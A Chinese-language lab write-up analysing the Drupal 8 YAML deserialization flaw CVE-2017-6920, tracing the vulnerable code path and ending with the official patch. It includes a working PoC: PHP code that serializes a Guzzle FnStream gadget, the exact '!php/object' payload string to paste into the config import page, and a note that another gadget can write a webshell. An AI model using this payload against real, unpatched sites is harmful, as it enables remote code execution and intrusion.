前言
PHP反序列化漏洞简介
序列化
序列化就是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。[将状态信息保存为字符串]
反序列化
反序列化就是再将这个状态信息拿出来使用(重新再转化为对象或者其他的)[将字符串转化为状态信息]
通俗来讲,序列化就是将一个对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象
由于本文旨在分析漏洞CVE-2017-6920,PHP的反序列化不是介绍重点,这里不再做具体讲解。
正文
Drupal 介绍
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。
漏洞描述
2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。
漏洞环境
本次漏洞复现环境利用vulhub靶场(不得不说,靶场是真的好用,嘻嘻)
进入虚拟机,执行以下命令:
cd /drupal/CVE-2017-6920/ docker-compose up -d
环境启动后,访问http://your-ip:8080,将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
docker启动后,执行docker ps 查看容器id
然后执行docker exec -it CONTAINER-ID /bin/bash 进入容器,然后执行下列命令:
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源 cat > sources.list << EOF deb http://mirrors.163.com/debian/ jessie main non-free contrib deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb-src http://mirrors.163.com/debian/ jessie main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib EOF # 安装依赖 apt update apt-get -y install gcc make autoconf libc-dev pkg-config apt-get -y install libyaml-dev # 安装yaml扩展 pecl install yaml docker-php-ext-enable yaml.so # 启用 yaml.decode_php 否则无法复现成功 echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini # 退出容器 exit # 重启容器,CONTAINER换成自己的容器ID docker restart CONTAINER
访问:http://your-ip:8080,开始安装(数据库选择sqlite版),安装成功后:
登录管理员账户,访问http://your-ip:8080/admin/config/development/configuration/single/import,界面如下:
如下图所示,配置类型选择 简单配置,配置名称任意填写,文本处中填写PoC如下:
点击导入,漏洞触发:
漏洞分析
漏洞触发点代码如下(core/lib/Drupal/Component/Serialization/YamlPecl.php)decode函数中:
$data = yaml_parse($raw, 0, $ndocs, [ YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]);
可以看到,$raw这个变量被带入yaml_parse这个函数中,yaml_parse这个函数是PHP自带的函数。
我们看下PHP官方文档的说明:
Description yaml_parse ( string $input , int $pos = 0 , int &$ndocs = ? , array $callbacks = null ) : mixed Convert all or part of a YAML document stream to a PHP variable. Parameters input The string to parse as a YAML document stream. pos Document to extract from stream (-1 for all documents, 0 for first document, ...). ndocs If ndocs is provided, then it is filled with the number of documents found in stream. callbacks Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks
第一个参数是需要解析成yaml的字符串,结合代码说明看,只有$raw这个参数是外部可控的。
再看下关于yaml_parse函数的官方warning:
Warning Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.
意思就是如果使用!php/object,那么yaml_parse将会以反序列化(unserialize)的形式来进行处理字符串,这是非常危险的行为,如果想要禁止,可以通过设置yaml.decode_php来进行处理。
因此漏洞触发的原因就是yaml_parse函数可能会以反序列化的方式来处理一些字符串,导致一些危险类的函数被触发,实现代码执行。
接下来,我们定位一下decode函数的调用位置:
在(core/lib/Drupal/Component/Serialization/Yaml.php)33行中:
public static function decode($raw) { $serializer = static::getSerializer(); return $serializer::decode($raw); }
该函数调用了getSerializer()函数,我们跟进该函数,在(core/lib/Drupal/Component/Serialization/Yaml.php)48行中:
protected static function getSerializer() { if (!isset(static::$serializer)) { // Use the PECL YAML extension if it is available. It has better // performance for file reads and is YAML compliant. if (extension_loaded('yaml')) { static::$serializer = YamlPecl::class; } else { // Otherwise, fallback to the Symfony implementation. static::$serializer = YamlSymfony::class; } } return static::$serializer; }
如果存在yaml扩展,就调用YamlPecl类中的decode()方法;否则,就调用YamlSymfony类中的decode()方法。我们为了利用YamlPecl中的decode()方法,因此需要安装yaml扩展。
现在明白在复现漏洞的过程中,在docker中安装yaml扩展的原因了吧。
在安装好yaml扩展后,最后定位外部可控的输入点。经过分析,YamlPecl::decode是在Yaml::decode函数中调用的,所以寻找全局调用Yaml::decode函数的地方,外部可控的地方只有一处;
在(core\modules\config\src\Form\ConfigSingleImportForm.php)280行中:
public function validateForm(array &$form, FormStateInterface $form_state) { // The confirmation step needs no additional validation. if ($this->data) { return; } try { // Decode the submitted import. $data = Yaml::decode($form_state->getValue('import')); } catch (InvalidDataTypeException $e) { $form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()])); }
这里对外部的import值进行Yaml::decode操作,所以这里是漏洞触发点。
要利用反序列化漏洞,需要找一个反序列类,通过PHP的魔术方法定位,找到以下可以利用的类:
(1)在(vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php)中第37行:
public function __destruct() { $this->save($this->filename); } public function save($filename) { $json = []; foreach ($this as $cookie) { /** @var SetCookie $cookie */ if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { $json[] = $cookie->toArray(); } } $jsonStr = \GuzzleHttp\json_encode($json); if (false === file_put_contents($filename, $jsonStr)) { throw new \RuntimeException("Unable to save file {$filename}"); } }
可以写入webshell。
(2)在(\vendor\guzzlehttp\psr7\src\FnStream.php)中第48行:
public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
可以造成任意无参数函数执行。
漏洞验证
一、 序列化一个guzzlehttp\psr7\src\FnStream类, poc生成代码:
<?php namespace GuzzleHttp\Psr7; class FnStream { public function __construct(array $methods) { $this->methods = $methods; // Create the functions on the class foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } } } $fn = new FnStream(array('close'=>'phpinfo')); echo(serialize($fn)) ?>
二、 给该序列化字符串加上yaml的!php/object tag(注意要转义)
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
三、登录管理员账号,访问http://your-ip:8080/admin/config/development/configuration/single/import,填写序列化后字符串,点击导入,执行phpinfo()函数。
漏洞修复建议
(1)升级最新版本。
(2) 最新发布的Drupal 8.3.4 已经修复了该漏洞,/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函数进行防御(添加如下代码即可):
public static function decode($raw) { static $init; if (!isset($init)) { // We never want to unserialize !php/object. ini_set('yaml.decode_php', 0); $init = TRUE; } // yaml_parse() will error with an empty value. if (!trim($raw)) { return NULL; } ...... }